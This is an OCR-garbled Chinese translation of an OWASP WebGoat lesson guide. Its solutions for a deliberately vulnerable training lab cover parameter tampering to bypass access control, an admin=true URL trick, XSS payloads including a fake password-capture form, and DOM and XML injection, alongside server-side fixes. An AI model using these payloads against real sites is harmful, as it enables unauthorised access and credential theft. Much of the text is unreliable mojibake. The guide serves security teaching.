EF Y OWASP EHIHL (OWASP Broken Web Apps VM v1.0) 1, tomcat /S ic &
PRERAT A

/etc/tomcat6/tomcat-users.xml

A It WebScarab H S A B4R A

L L Jetc/tomcat6/tomcat-users.xml

Windows ¥ 38 FER B85 H: “\ .

2.2.3 ETFAtpiAaiEE] (LAB: Role Based Access Control)

2.23.1 FEAREEAKEFE (Concept / Topic To Teach)

FE— AT AT E R 77 R, A AR AU AR AR . A R DAy
Bl — AN AN 1, — N3 T E R I 42 8130 B8 P AN 38 20 - A CBL B B A 70
— MBI R FE T M R s T 58, WTRE SRV LA 23 Bt/ 4t ) A B A RS R 77
AR R ATV

2.2.3.2 $HAKJEIE (How It works)
1 2 T 3t 00 22 458l P35 €2 90 77 27 A RV 7 1, T 28 A B 78 SIS ek 7

RINE S MR Z .
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2.23.3 S{*xH#r (General Goals)

2.2.3.3.1 Stage 1: &id R <E7a)#E#l(Bypass Presentational Layer
Access Control)

Tom &% W08 5 o TEA A AR GUESS 00V 1 42 1 S, £ 53 T8 3R T $AT IR 2
fE, BSUE Tom IS NS B RES B BR . RN P ISR OIZ P kA i “ 427 /NS, e

Tom Cat fJZ 8572 tom)

< Goat Hills Financial

& Human Resources

(4

G

Please Login
Larry Steoege (empleyee) -

Password

2.2.3.3.2 Stage 2: FHMAFERIVIEIFEH] (Add Business Layer

Access Control)

KRBT ELE WebGoat FF K RA E5E M.

St 2 e B B LR P AT - S MERDIRE . E5Eizahng, BHREBK
WebGoat f0i%. —B5EpiZAE, 15k Ml Stage 1, FHIEIFEUEH P15 BIIEM kR D 6e

RE B T BHLLE .
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2.2.3.3.3 Stage 3: XFHIEE 5ol H] (Breaking Data Layer Access

Control)

Tom fe—AHE 5 To 5L Tom B 543, FIH R GENESS AD7 17 2 1 SRMBRAL T ) 53 —
ZRTINNGER, FHFRAET A 4553

2.2.3.3.4 Stage 4: RMMBAEE 15 18)iTH] (Add Data Layer Access

Control)

ARFEEELE WebGoat FF R IRA 52K

St % A B B B LR P S B Ui . B RZ e . — Bz bR, 15iR
5] Stage 3, HHHr B IF IR 26l U5 ) H B 53 A5 B AT A RS B

2.2.3.4 £fE&KiE (Lesson Resources)

2.2.3.4.1 ZHZAZHE (Orgnization Chart)

Neville Bartholome
{CEO — Admin)

At
(Employee)

105
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2.2.3.4.2 ifa)fEHI%ERE (Access Control Matrix)

Assets
Search List Staff View Profile Edit Profile Create Profile
Roles
Employee X X (Self Only) X X (Portions)
Manager X X X
HR X X X X (Others Only) X
Admin X X X X X

2.2.3.4.3 ¥IEELH) (Database Schema)

= Employee
» userid INT NOT NULL PRIMARY KEY
» first_name VARCHAR(20)
» last_name VARCHAR(20)
» ssn VARCHAR(12)
» password VARCHAR(10)
» title VARCHAR(20)
» phone VARCHAR(13)
» address1 VARCHAR(80)

» address2 VARCHAR(80)

» manager INT

» start_date CHAR(8)

» salary INT

» ccn VARCHAR(30)

> cen_limit INT

» disciplined_date CHAR(8)

» disciplined_notes VARCHAR(60

» personal_description VARCHAR(60)

= Roles
» userid INT NOT NULL
» role VARCHAR(10) NOT NULL
» PRIMARY KEY (userid, role)

= Ownership
» employer_id INT NOT NULL
» employee_id INT NOT NULL
» PRIMARY KEY (employee_id, employer_id)

2.2.3.5 #¥{E5% (Solutions)

2.2.3.5.1 Stage 1: &I 3R/<E1710#THl(Bypass Presentational Layer

Access Control)

HABEKEA [DeleteProfile] MAHIMAE. B ERXE—NMHPWKS, ATLLRIE
N HR ) Jerry B A5 [ DeleteProfile] ALK, & fhs:
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Solution Yideos Restart this Les
Stage 1

Stage 1: Bypass Presentational Layer Access Control,

A= reqular emplovee "Tom', exploit weak access control to use the Delete function from the
Staff List page. Yerify that Tom's profile can be deleted. The passwords for users are their
given names in lowercase (e.g, the password for Tom Cat is “tam™).

& Goat Hills Financial

u» Human Resources

[I'I1i1 Welcome Back Jerry - Staff Listing Page - ]
melect from the list belaw
Tom Cat (employee)
Jerry Maouse (hr)
Joanne hMcDougal (hr) SRl
“iewProfile
CreateProfile
DeleteProfile
Logout |

7E Select from the list below 5 f5& ik —/ANH P, S5 fidi [DeleteProfile]. i#
PN T H WebScarab 7] PARIR [A) AR 55 4% RIEIE K, W F EFR:
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‘—_" Edit Eequest

=10l x|

Intercept requests : Intercept responses : ||

I l/ Parsed |/Raw |

:| Method URL Version
| [PoaT | |nttpmocalhost 808 0iwebgoatiatack?Sereen=438menu=200 | [HTTPA.0
Header Yalue Insert
Accept imagesgif, imagef-xhitmap, imageljpeq, image/pjped, applicationfmsword, applicationfmd.ms-excel, ..
||Refere http:flocalhost S080Mwehgoatiattack? Sereen=43&menu=200 Delete
R
URLEncoded | Text | Hex |
Yariable Yalue
Aemployee_id 110
l=ction DeleteFrofile
i
i
Insert
Delete
T AT e,

| Accept changes I Cancel changes | Abort request | ‘ Cancel ALL intercepts |

H_EE A LLE 1 action %M 1) value B A& DeleteProfile, HJFRATIZE Tom MK ' AT ik %
— 7 action, FE XN K] value {4 DeleteProfile, M Tom 5t 24 T DeleteProfile AL F). &
S, Bk Tom MK, AR Tom K R B FR:

-L-;
~° Goat Hills Financial
u‘n Human Resources
Trifi1 Welcome Back Torn - Staff Listing Page - T
Select fram the list below
Torn Cat (employee)
SearchStaff |
YiewProfile
Logout |
N =

FATLE Select from the list below |7 5 ZE Rk Tom, #RJ5 i [ViewProfile), i
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PMEL T H WebScarab ¥ Value ¥ ] ViewProfile I’ DeleteProfile.

Edit Request - 1ol x|

f Intercept requests : Intercept responses : ||
: l’ Parsed rRaw |

Method URL Version
|[PosT | [ntipinacalnosts0s0imwengoatiattack? Sereen=43&menu=200 | [HTTRI1D
s Header | Value Insert

Accept |imagergif, imageixhitmap, imagealjped, imageipjpeg, applicationfmsword, applicationfnd ms-excel, .
< ||Referer |httpilocalhost80E0Mwehgoatiattack? Screen=43&menu=200 Delete

“ariahle Yalue

employee_id 104

action WiewProfile

Insert

Delete

| Accept changes I Cancel changes | Abort request ‘ | Cancel ALL intercepts

miidi [Accept changes] #%4H. MBI U, FKaaBE .
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* ¥You have completed Stage 1: Bypass Business Layer Access Control.
* Welcome to Stage 2: Add Business Layer Access Control

¢ Goat Hills Financial

» Human Resources

[I'ifl" Welcome Back Tor - Staff Listing Page - ]
melect from the list below
searchstaff |
YiewProfile
Lngnutl
" -

2.2.3.5.2 Stage 2: H{MALFZERVIEIHEF (Add Business Layer

Access Control)

RRFEFEELE WebGoat FFRIRA E5ER.

BN P R G ANPATIHESRNE, HeRFEREZHIRIR. ik, SFEEK
org. owasp. webgoat. lessons. RoleBasedAccesControl. RoleBasedAccessContro
1. java FEH[PIFHSARES o

pELEDA=E

E:\webgoat\WebGoat\tomcat\webapps\WebGoat\JavaSource\org\owasp\webgoat\lesso

ns\RoleBasedAccessControl T # RoleBasedAccessControl.java,

&4 handleRequest J5vk, SEIAERIZAUEN P 75 R osf —
/™ isAuthorized JyyErT RS H .

//***************CODE HERE xxxxxxxxxxxx
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if(lisAuthorized(s, getUserld(s), requestedActionName))
{

throw new UnauthorizedException();

// e e e ek Fe e e KoKk

SERARISIE SR, 5 BRI IRIE Stage 1 HARBURIE R TERZD
Bm, ATUREL R,

2.2.3.5.3 Stage 3: SLidHIER 5 10l#TH (Breaking Data Layer Access

Control)

& 5% Tom FH 7 LTI, £F Select from the list below [ ik ™ Tom FH 7, %8 )5 i ViewProfile,
1EH TUEAN R BT

< Goat Hills Financial

- Human Resources

(== Welcome Back Torm - Wiew Profile Page -
[ < |
First Mame: Tom Last Name: Zat

Streest: 2211 HyperThread Rd, City/State; Mew vork, NT

Phone: 44353-599-0762 Start Date: 1011999

SSM 792-14-6364 Salary; o000

Credit Card; S4813608579658521 Credit Card Limit: 30000
Camments:  Co-Owner,

Disciplinary Explanation: Disc, Dates: 0

F=

Manager: 106

ListStaff | EditProfile | Luguutl
| )
L

vy

PR3 i 03 Tom HATBAEE B CiIBER, R WebScarab JIVE T HAZRIER, 5200
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4 Edit Begquest ;lglll
Intercept requests : Intercept responses : [

Parsed | Raw |

Method URL Version
[POST | [htpinocalhost B080Mwebga atiattack?Sereen= 4 38menu=200 | [HTTPA.D

Header Valug Insert

Accept imagefyif, imagei-khitmap, imagefpeq, imageijpey, application/msword, applicationind. ms-excel, . |
[Referer hitp:ilocalhost 808 0wehgoatiattack?Screen=43&menu=200 Delete
T

URLEncoded | Text | Hex |

ariahle Yalue
employee_id 105
action “ewProfile

Insert

Delete

Accept changes Cancel changes | Abort request ‘ ‘ Cancel ALL intercepts

BEHEAENNPITEE, 7T LLK employee_id [ value iy 101 (H 7 Jarry 19 1D), &
M 5 s [Accept changes). LN R i, WX ).
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* ¥You have completed Stage 3: Bypass Data Layer Access Control.
* Welcome to Stage 4: Add Data Layer Access Control

° Goat Hills Financial

1» Human Resources

Tri‘lm Welcome Back Tom - View Profile Page - ]
First Marme: Larry Last Mame: Stooge

Street: 9175 Guilfard Rd City/State: Mew Yark, NY

Phone: 44 3-689-0192 Start Date: 1012000

SEN 386-09-5451 Salary: 55000

Credit Card: 257585469695853547 Credit Card Limit: 5000
Comrments:  Does not worl: well with others

Disciplinary Explanation: Disc, Dates: 10106
Constantly harassing cowarkers

Manager: 10z

ListStaff | EditProfile Logout |

—

2.2.3.5.4 Stage 4: RIMMBABEZ1518)4EH] (Add Data Layer Access

Control)

AL T ELE WebGoat FFRIRA E5ER.

TR ZBH W FH P IR AR, LA D9 e B RO E AR . Dok, S R A ]
Ao ZHEAE 7 EIE L TE org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccess
Control.java ZEFEMACILSLH . 1524 handleRequest 7775, SEILAE ARAZAUE L F M0 H 5% .
g B 44— isAuthorizedForEmployee J5 v il i f& 18 F .

if(lisAuthorized(s, getUserld(s), requestedActionName))
{

throw new UnauthorizedException();

}
if(laction.isAuthorizedForEmployee(s, getUserld(s),

s.getParser() .getIntParameter(RoleBasedAccessControl .EMPLOYEE_ID, 0)))
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{

throw new UnauthorizedException();

}
//

FERARE S, 5 A IEIRUE Stage 3 HBBUERIE R, SEROZ P IR
Ja, AATIRRELS

2.2.4 EIEETIGE] (Remote Admin Access)

2241 FEAREEAKER (Concept / Topic To Teach)

N AR A — MRS, XA — A TEEV I B, R BRI S
A HEVI I .
2.24.2 $FHAKREE (How It works)

RE M RN BEMA RS XS8R0, — B 8ds RPN, WY
) BRSO, WS RIS ATANRE DT I A BT, . BRI H G BRI RS ik

2.2.4.3 E{*xBH#%r (General Goals)

23837 1] WebGoat [¥1/E7 B LT o #4545 AT LL244R 1 i Tomcat [f1787 F3 JL1f . Tomcat [f1757 B8
G @ URL (Jadmin) Viial, (HAE AR RN E L N A

2.2.44 #4EF’% (Solutions)

BV IR E I URL ONTE 24 BT Hb L 5 N In&admin=true, #TJF”Admin functions” 5, A
PLF 3 [Report Card ). [ User Information ). [ Product Information ). [ Report Card ] #1 [ Adhoc
Query] ZEiET, & User Information, NI<= 840 T H:
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Introduction
General
Access Control Flaws
AlAX Security
Authentication Flaws
Buffer Overflows
Caode Guality
Concurrency
Cross-Site Scripting ($55)
Denial of Service
Improper Error Handling
Injection Flaws
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Managernent Flaws
Wweb Services
Adrnin Functions

Report Card

Challenge

Introduction

General

Access Control Flaws
A1AK Security
Authentication Flaws
Buffer Overflows

Code Quality

COncurrency

Cross-Site Scripting (KS3)
Denial of Service
Irnproper Error Handling
Injection Flaws

Insecure Cormmmunication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Managerent Flaws
Web Services

adrnin Functions

Fepart Card
v

User Information
Product Information

Adhoc Quety
Challenge

RIFRATTAT LA 2 AR5

Solution Yideos Restart this Lesson

Screen=53

menu=2000

JSESSIONID & 566C2549FEASC11518F5D6BC4B78EESA
How To Work With webGoat

welcome to a short introduction to WebGoat,
Here you will learn how to use WebGoat and additional tools for the lessons.

Emvironment Information

WebGoat uses the Apache Tomcat server, It is configured to run on localhost although this
can be easily changed. This configuration is for single user, additional users can be added in
the tomcat-users.xml file, If you want to use WwebGoat in a labaratory orin class you might
need to change this setup. Please refer to the Tomcat Configuration in the Introduction
section,

The WehGoat Interface

4 E

XREAN R EGEHE A EEE User Information, 78 241 #h ik )5 ¥ il&admin=true,
IS0 S |

Solution ¥ideos Restart t

Screen=53
admin=true
menu=2000

JSESSIONID 5 566C2549FEASC11518F5D6BC4B78EEBA

* Congratulations. You have successfully completed this lesson.

|[USERID [USER_NAME [PASSWORD [COOKIE

[1o1 E [passwdi
[10z [idoe [passwdz
[103 [iplane [passwd3
[104 [jeff [jeff
[105 [dave [dave

OWASP Foundation | Project WwebGoat | Report Bug

MX s B2 N admin A0 LLER, RUILKH

B3, {E Access Control Flaws H1 0] LLUE 2401 R 427 B i ) D T -

itage 1. Bypass Business
Layer access Control

stage 70 add Business
Layer focess Control

stage 3: Bypass Data Layer
Access Control

itage 4 add Data Layer
fccess Control

Femote Admin Access

A0MMINISTEATIYE INTEMTacE TOF 1OMCAT, INS | OMMCAT 3AMIN INTSTace Can DE ACCESSE0 ¥ia 4 UKL
{/adrmin} and will not count towards the completion of this lesson,

* Congratulations. You have successfully completed this lesson.

O ASP Foundation | Project WwebSoat | Report Bug

37 /177



Tha Open Web Applicalion Socaly Project

9 OWASP th =]

http://www.owasp.org.cn

2.2.4.5 4¥70iEAA (Special Explanations)

2519 FH Y OWASP RE L1 (OWASP Broken Web Apps VM v1.0) 71, Tomcat J& & B4 A
RF MR,

http://1P:8080/manager/html

2.3 Ajax &% (Ajax Security)
2.3.1 [EliIREEBERIP (Same Origin Policy Protection)

23.1.1 #HAREZRLEM (Concept / Topic To Teach)

AJAX FEAR [ — T S 76 25 /2 XMLHttpRequest (XHR), ZHAR fR 825 P i 1) IR 55 ity % 2
SR AR, VEN—T A8, X1 R B I e N2 i JER 2 T T 1) A 25 o GBS 7
8

2.3.1.2 HARFEE (How It works)

[FIYR RIS A 2 P A (G HJ& Javascript) HIE B 7 E EirfE. ©HEHET
Netscape Navigator2.0, + H 12 1 FEA SCRYBUEIAR A 2 AN A5 2 4K

A X A S PSS ATV FEI, EANTRGZ Rk R vrvh i ok B[R — b s 1 5,
A2 LSk [ el ] B A R B B

2.3.1.3 S{*xH#r (General Goals)

R SRS [ PR SRS ORI o XMULHttp R RE A [FJJR AR 55 i A 81 5K, AR AT 11 4R R IR 55
S 38 BHE 1) 2 1R SR T

2.3.1.4 ¥{EA’E (Solutions)

R R 7 DT P AN, AR D AR R AR 4 R 8 AT IR A
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@ same Origin Policy Protection 3% [Juleclie- 2y gl 1Ec - 2

QQ ¥ 1.1.1.105 eblLoal/altack?’>creen=41&menu=40

Choose another language: | English 2 | Logout e

Same Origin Policy Protection

OWASF WebGoat v5.4

Intreduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows
Code Quality
Concurrency Entera URL:

Cross-Site Scripting (X55)

Improper Error Handling

Injection Flaws | Go! |
Denial of Service
Insecure Communication

Solution Videos Restart this Lesson

This exercise demonstrates the Same Crigin Policy Protection. XHR requests can only be passed
back to the originating server. Attempts to pass data to a non-originating server will fail

Insecure Configuration Response:

Insecure Storage

Malicious Execution
Parameter Tampering
session Management Flaws
Web Services

Admin Functions

Challenge

Click here to try a Same Origin fequest:
lessons/Ajax/sameOrigin.jsp

Click here to try a Different Origin request:
http:/f'www.google.com/search?q=aspect+security

2.3.2 &TF pom HIEEiuh =158 (LAB: DOM-Based cross-site

scripting)

2.3.21 HABIRHER

SR GRS (DOM) M AR FERIL T — NG I 1 . ' R VFEh 2516 o 74
2%, fERTT DU Tt Sk HEAT S BRI ATl XSS, — RSB RITEN, —fe R
FEE R BRTE 1O P O ON BB 0K T AE % P2 B BT P9 A5 O 0

2.3.2.2 HAKR[REIE

HTML DOM S 42 b m] [ B 48 A\ 8T 1Y HTMIL 35A) 58X JavaScript 1B 5), [RIIR & 5 % =A%
FOAI AT, M A SR 5028 T T S s P R B A T % = AR .
HTML FriciE & IR 2 a2 Rk B M S50 o dd N JS ARAS, 4n: IMG/IFRAME 45,

2.3.2.3 RE{&H#R

FERANGR2 T, AR5 2R A IR AR S B ARSI B DOM, ARIGTERJAHN B, 1E
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2.3.2.3.1 Stage 1:20(3F Web THIETRAA

TEXAN%GAH, BTS2 %A, A OWASP IMAGE
(http://192.168.33.204/WebGoat/images/logos/owasp.jpg) 4% )& >k Web T TH ) &7 77 3.

Solution Videos Restart this Lesson

STAGE 1: For this exercise, your mission is to deface this website using the image at the
following location: OWASF IMAGE

Enter yvour name:

Submit Solution

ASFEI:T)
! Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

2.3.2.3.2 Stage 2:{FF IMG #5&

HAE, EFH image brZG14E JavaScript Alert SiEHE

2.3.2.3.3 Stage 3:fEF] IFRAME f5&

BLE, WERIA iframe Fr25 6% JavaScript Alert X5 HE

2.3.2.3.4 Stage 4&:{hiEHINAE

il PR AR B KB B AR, B U 2 6

Please enter your password:<BR><input type = "password” name="pass"/><button onClick="javascr
ipt:alert('l have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><
BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
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2.3.2.3.5 Stage 5:128 w0

Jo % P i HTML N & 9wt LULEE DOM XSS Jill . escape.js SCAFHFR AL T & F0 s my L
fEH T

2.3.2.4 BMERE

2.3.2.4.1 Stage 1:4( % Web TTAIZTAR

i1 N"<IMG SRC="images/logos/owasp.jpg"/>", RIGHE2C. REIUTEFTRN:

STAGE 1: For this exercise, your rission is to deface this website using the image at the
following location: OWASP IMAGE

OWASP

T O Wk it Sucurioy Progect |

Hello,
Enter your name: |ges.ﬂng osfowasp jpg"y

Submit Solution |

.ﬂ.Sl‘EI:'I"

2.3.2.4.2 Stage 2:{FF IMG #5 %

B \"<img src=x onerror=;;alert('XSS') />", RJGHEA . REILERUNEFTR:
STAGE 2: Mow, try bo create a JavaSenpt alert using the image tag

Hello, !
Enter your name: IDHEWDI'::BIEHI:'K'SS'}I)

Submit Zolution

Aspenﬂ

OWASP Foundation
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2.3.2.4.3 Stage 3:fEF] IFRAME f5&

#1 N\"<IFRAME SRC="javascript:alert('XSS');"></IFRAME>", 4R J5 HE5Z o IR [H] 45 S 1 [ s «

STAGE 3 MWext, try to create a JavaScript alert wsing the IFRAME tag,

Hello,
Enter vour name; |JE:H(')'<SS'};'><HFF{-"~ME>

Submit Solution |

2.3.2.4.4 Stage 4:{hiEHINAE

NN ER

Please enter your password:<BR><input type = "password" name="pass"/><button
onClick="javascript:alert('l have your password: ' +
pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR>
<BR><BR><BR><BR><BR><BR><BR><BR>

SRJEFEAZ, IR IE S5 R A R -

STAGE 4; Use the '||1|I.'~n-n;| ta croate a felre logn farm;

Haasn anber your pagtwerd: <BR = <input trpe = "pasdmord” narne="pas" > chytton
erhok="javascriptialert]’l have your passmord: ' +
pats value) "> Submt < buthon > < BR > < BR > <BR »<BR »<BR > <BA > < BR < BR > <BA »< BR »<BR > <BR < BR »<BR ><BR = <BR >

Hollp, Please ontor your password:
Sudnril

Erter your neene: | MEFEcBR»BR»<BR>
Submit Solutan

DU AR INPUT S AHERE DR I& (0, FH P S N P 3 A 45 S22 i
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2.3.2.4.5 Stage 5:{2E®iH

B ONER 2 75 32 3 JavaScript U escape.js. %] LLE tomcat\webapps\WebGoat\javasc
ript ( Standart Version ) BY, WebContent\javascript (JF&RRR) 3k B [ BIA SO
%% DOMXSS.js, #5LA T N2

function displayGreeting(name) {
if (name 1="){

document.getElementByld("greeting").innerHTML="Hello, " + name + "I";

function displayGreeting(name) {

if (name ="}

document.getElementByld("greeting"”).innerHTML="Hello, " + escapeHTML(name); + "!";
}

}

SERIBEUG BT XS IR I A P A A R TR -

A Y

2.3.3 /\SCI§: EPumidiE (LAB: Client Side Filtering)

2331 HAGERLED

55 3 R 1 72 7 i A3k FL IR BEV 1R B RO BcdE o AEASURAZ b, R S5 I A0 B i A T &
MR, A T A E T R ) R

2.3.3.2 HAREHE

e 4% i 55 % 7 i B A8 B R B AR T ARG 34T T RS, (EARAR AT LLETE Firebug.
IEWatch. WebScarab 55 T HA3K 3], HEZE/RIEHFIRAT.
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2.3.3.3 E{&H#R

ZIR B IE T ARG SR EIM 2 RER, KIEAZT T E S 1ZINT .

2.3.3.3.1 Stage 1:ERFIBRER

2 F Neville Bartholomew [ 3 /K15 B .

2.3.3.3.2 Stage 2:18Ei®H

BRZI A, BSRSZACS, #A A B8R [F] Moe Stooge 7 RE 15 1A] (IR [F1 £ 4

2.3.3.4 BMEAE

2.3.3.4.1 Stage 1. ZERFIBRER

BT [Select user] THERE W EHIE. 1EH IR BIEHEIR B H Firebug 5%
WebScarab & & YRS ER B 5 diE . $.2 Neville HIE K15 B .
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LAB: Client Side Filtering - Mozilla Firefox

@ LAB: Client Side Filtering

& | @ 10.0.1.172/webGoa 2 creen=55&menu=4 +@| 28~ Q) fylile -
AJAX Security STAGE 2: Now, fix the problem. Modify the server to only return results that Moe Stooge is allowed ~
Same Origin Policy Protection to see
LAB: DOM-Based cross-site
scripting * Stage 1 completed.
DOM Inection
XML Injeciion W G H' F' dd
T -y oat S rinan
Silent Transactions Atiacks L Human Resources
Dangerous Use of Eval -
L ol
Insecure Client Storage
select user:| Eric Walker =
; (XSS) |UsenD |F|rstNamE ‘LastNamE ‘SSN |Sa|ary |
s
ling [104 |Eric | Walker |445-66-5565 [13000 |
# gl ” . ) M Nevile )
T |=| HTML~ | €SS H% DOM [# Cookies | ot vl ama
¢ 43E | | select#UserSelect - p - divlesson_workspace - d »|| F3t~ | #HEESL 4R Dom
R TS AR aiverra
I webgoat.css (B 104 f7)
"
[
B
= lesson.css (M 1 )
|-| bods webgoat.css (B 1 f7)
S—
[l 0 N v

MR, FTERARES 5.

2.3.3.4.2 Stage 2:12E®iH

ARFES, BFEEBN clientSideFiltering.jsp FIACHS . %04 A LAZE WebContent
) lessons/Ajax SCIFIE FHE . 1% 22 AU A 2 8 il S AR 45 Sibé T A 080 3R 1145 7% 3
U IX S RUBBE A B 1 (E SR T DA R B o 78 AR 8 T LLTE XPath i A 48 in—
AN PERR . TR AT DAR B R 45 -

StringBuffer sb = new StringBuffer();
sb.append("/Employees/Employee/UserID | ");
sb.append("/Employees/Employee/FirstName | ");
sb.append("/Employees/Employee/LastName | );
sb.append("/Employees/Employee/SSN | ");
sb.append("/Employees/Employee/Salary ");
String expression = sb.toString();

ZTATE AT LULE XPath 2Pl i FY o 18 7 B A BN A T LA B e 57
M5 S . ESLIZ IR T E A H] XPath 1Rl E4s . LAF AR AT LLSEH:

StringBuffer sb = new StringBuffer();
sb.append("/Employees/Employee[Managers/Manager/text() = " + userld + "[/UserID | ");
sb.append("/Employees/Employee[Managers/Manager/text() =" + userld + "[/FirstName | ");
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sb.append("/Employees/Employee[Managers/Manager/text() = " + userld + "J/LastName | *);
sb.append("/Employees/Employee[Managers/Manager/text() = " + userld + "}/SSN | ");
sb.append("/Employees/Employee[Managers/Manager/text() = " + userld + "[/Salary ");
String expression = sh.toString();

BUE, ERE P ks AR R Bl SR AUE R T

2.3.4 DOM ;X\ (DOM Injection)

2341 HEARGFERLED

AVRFER B2 T 4T DOM JE AT

2.3.4.2 HAREFEHE

— BB FRR 5 1 E ) AJAX ER45 TS 3£ DOM R BERS 1 #2215 FH 1) JavaScript. DHTML
i eval() 775 W& v RESA X — 5, @5 E, HN—15% JavaScript 14, LA
e

2.3.4.3 RE&EBiR

* His ARG 2 M ABIE
* I F AR B0 A T A% A
* S AL SN TR B HTML ARHS, BRI RS M S I A

2.3.44 BESE

VT8 5 IR 2% 38 Ajax FORSEHL XML IEMS . &F HTML JEARS S, 184 R BACHS
{7 XMLHttpequest.

<script>

function validate() {

var keyField = document.getElementByld(“key®);

var url = "attack Screen=80&menu=1150&from=ajax&key=" +
encodeURIComponent(keyField.value);

ifT (typeof XMLHttpRequest !'= “undefined®) {

req = new XMLHttpRequest();
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} else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft_ XMLHTTP®);
3
req.open("GET", url, true);
reqg.onreadystatechange = callback;
reqg-send(null);
}
function callback() {
if (req.readyState == 4) {
if (req.status == 200) {
var message = req.responseText;
eval (message) ;
33}

</script>

XML T N7 A 75 A6 35 S0 F2 1L 1) JavaScript TE 6 X5k 75 ZEAE HTML 1) DOM A
JavaScript 1E5). 1Z#4EE H 3] WebScarab 1] HTTP I W 44 T HE .

RN license key CELUN: “a”), ¥ E WebScarab J& F HTTP 1 SR A0 b 328 .

HTTFIM .1

B i dit Request
Iniercept requesis: v Infercopl responses: v
Parsed | Faw
Method UL
GET | |hiipsmeo S0AWek Goabistack T Scraens $0Emenus | S04 e 3 ks
Haadar Vit
RAccepd r
ACcept Languige bg
fReforer nittp MngahiebGoatiatiac kP ehow=toaHintEmenu=1 150
L 2P B
Az ceps-Encoding i w ) ) i |
] gar Me J& 0 (compadble, MEIE 70, Windows NT 51, NETCLR 1.1 4333 NETCLR _§
g i
o %
] 1167 E3AGF SEE0SCIAME T TIATIERT 4
[ aumorzahon asle e IDET T I
a
Hux
| Peeion |01 2]3] 41518617 8 0]AIBICICIELF Shing
|
J
v
Accopt changes. Cancel changes Abart d pouesd Cancel ALL infercapls

™

= Bx

Version

HTTP ik
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Headar | Walug

- ar=1150 |

TP, 1 200 QK
Survar Apsche-Covolan 4

Pragma Mo-cathe

G achpControl no-cachs

§E=vires: Th, 01 Jan 1970 01 00.00 CET
Contart Type: ledimi charse=IS0-9859-1
- Trangfer-Encoding. chunked

Date: Wed, 11 5yl 2007 144206 GNT
‘-RevealHidden possitly modded

C entert-lergih: 23208

[ETv]l

<IDOCTYPE Ml PUBLIC ™-0WICHDTD MTML 1 0 Trams 1onaliENT *Hep e wl oo g R DTD I - Haa s o sl dtds

=<hibenl wmines="Tilly Favw w ong S00idime -

<l

= mila fllp- equns"Canler: Type® conbeni="latitimi, charset=iS0-2053-1° Ie

<1 > DI0M Injectich<fitle»

=link red="gtyleshoef heok="ceshwabipont cas’ hpe="teticss* i»

«link ni="stdoanest ol caslesson cis” hpo="ladtss” i

=link npi="giylo shawt hept="cosimeny 058" Bpo="tontc sy i

<link ne="striesheeT heal="csslayers c55" hpe="lndicss />

<serigl language="JavaSoripll I sc="javascrgtiaascipl 37 fmesTedlavagcnpl = <iscnips
EE PP 4 * e

Lo rmr it .
L ] |

— = . — s s -
Accopt Changns. I Cancel chianjes J Rlrt §AoE i | Cancel ALL iMaicapls

HTTP 1 3

PR HTTP IR [ EHl, ¥t body N EN:

document.form.SUBMIT.disabled = false;

Intercept reguests | ¥ Ibercant resoanies ;v

HTTPAA
Header |
Sacvtt
Fragma
cha-Can

Rorm SUBRT disabied = s

I © | ===
SRS, 00 S 25 DT A R 0 f2 A R T !
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QO - [ wirsisabeiiminiom

it freeiwebdbo Lamach Ihowrshe i cheenm 1150
Coogle (G

http://www.owasp.org.cn
v e B O poesse Disiced T O0es - 8 Sk -
Ve DO Dusble ew Cutiee Yakdste beages Revme Mesc Show fule

v A~
- o St =
WO | oM eticn & - e e - ) Teck -
=

s, Welonme to WehGoat Reqistration Page:
1 Flasgn wriyr e logrss Gpy St s wmad - ES -

vy s

e ===

-
B Local mraret & a0

G

Coogle [C=

fFEEHIN— license key, [H#id7 Activiate!], IR ARENE .

B (el webGos Lo veram | 150

¥ e B monsise Bioavkoed T Ows v 3 danink -
WamloM Dubl Vew Oulte Wablet . Dhage R M S R

e
st e
W D e

3 Settrgs =
1 B b - ) Tk -
Walcome to WebGoat Regstration Page:
. Flaase ariec ihw liotnes ke thae s wmaded 10 ¥ 10 0t using the apglcasion
- e [T,
et v - (IEKEEIIT]
[~ [re— e

2.3.5 XML ;EFAN (XML Injection)

2.3.5.1 FARELRH IR

AURFER =

T AT XML AT
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AIAX BRI XML 5 R 55 s AT 5 B A H . fHiZ XML WA BEBS B ARE N 7 i B 2
BIFEL

2.3.5.3 E{&H#

WebGoat-Miles ] Miles 225 B x T A /] X 4. —BERIIEREH DK ID, &4
K 3 I K 5 A8 B AT DA S () 7 i o S8 B AR R BN E SN INEE 2 192 05 . 1810
K S 1D +2& 836239,

2.3.5.4 B{ERE

23571 836239 M7 100 #14), W REFRI 100 AR50 N B0 . BIAETRAN A B 24 i 2 53 3R
[ 2000, 3000 FH 43142 o
i\ 836239 J, Mk 24 i UL I A I s
welcome to WebGoat-Miles Reward Miles Program.

Rewards available through the program:

-wiebGoat t-shirt 50 Pts
-webGoat Secure Kettle 30 Pts
-ebGoat Mug Z0 Pts
-ebGoat Core Duo Laptop 2000 Pts
-wiebGoat Hawaii Cruise 3000 Pts

Redeem your points:

Please enter vour account ID: 836239

Your account balance is now 100 paoints

Rewards
[T webGoat Mug 20 Pts

[T webGoat t-shirt 50 Pts
[T webGoat Secure Kettle 30 Pts

Submit |

77T WebScarab T, siddy [EZR] %41 7E LK% AMNE 836239 f )5 Mm%, e
BT HEAGRS mn -
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Edit Response

Intercept requests : Intercept responses :

l/Parsed rRaw |

Method URL

GET httpfocalhost2080Awebgoatiattack?Screen=101 &menu=400&from=ajax&accountliD=836239

Header Walue

Accept a
Accept-Language zh-cn
Referer http:ilocalhost8080Mwebgoatiattack?Screen=101 &men...
Froxy-Connection Keep-Alive
Uzer-Agent Mozillar4.0 (compatible; MSIE 6.0; Windows NT 5.2, .NE
Host localhoste020
o

Hex

String

[ Positon JoJ1]2[aJ4]s][s][7][s[a[a[B][c][D][E]F]
Il

T e e e e e e e e e d e e e e e e

rParsed rRaw |

HTTFM .1 200 Ok
Server: Apache-Coyotei
Fragma: Mo-cache

Content-Type: texdbanl
